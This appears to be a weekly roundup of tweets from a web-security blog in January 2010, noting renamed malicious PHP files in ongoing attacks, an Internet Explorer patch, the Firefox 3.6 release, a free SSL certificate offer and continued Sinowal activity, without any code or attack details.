Jan 21, 2010

bety.php from my latest blogpost is renamed to opa.php in today’s attacks

RT @gcluley: Here it is folks…. well done to MS on releasing the IE Patch

Jan 22, 2010

GNU GPL / CODE1 / LGPL malicious scripts now identify themselves as “Exception”

Firefox 3.6 released with protection from out-of-date plugins to keep users safer as they browse.

Jan 23, 2010

[h-online] 1 year free SSL certificate from a registered Certificate Authority (StartSSL) – with instruction

Jan 24, 2010

[sophos.com] Continued Sinowal activity.  And my domain generator for this attack 

If you want more real-time experience, you can follow @UnmaskParasites on Twitter.

Related posts:

• Previous Tweet Weeks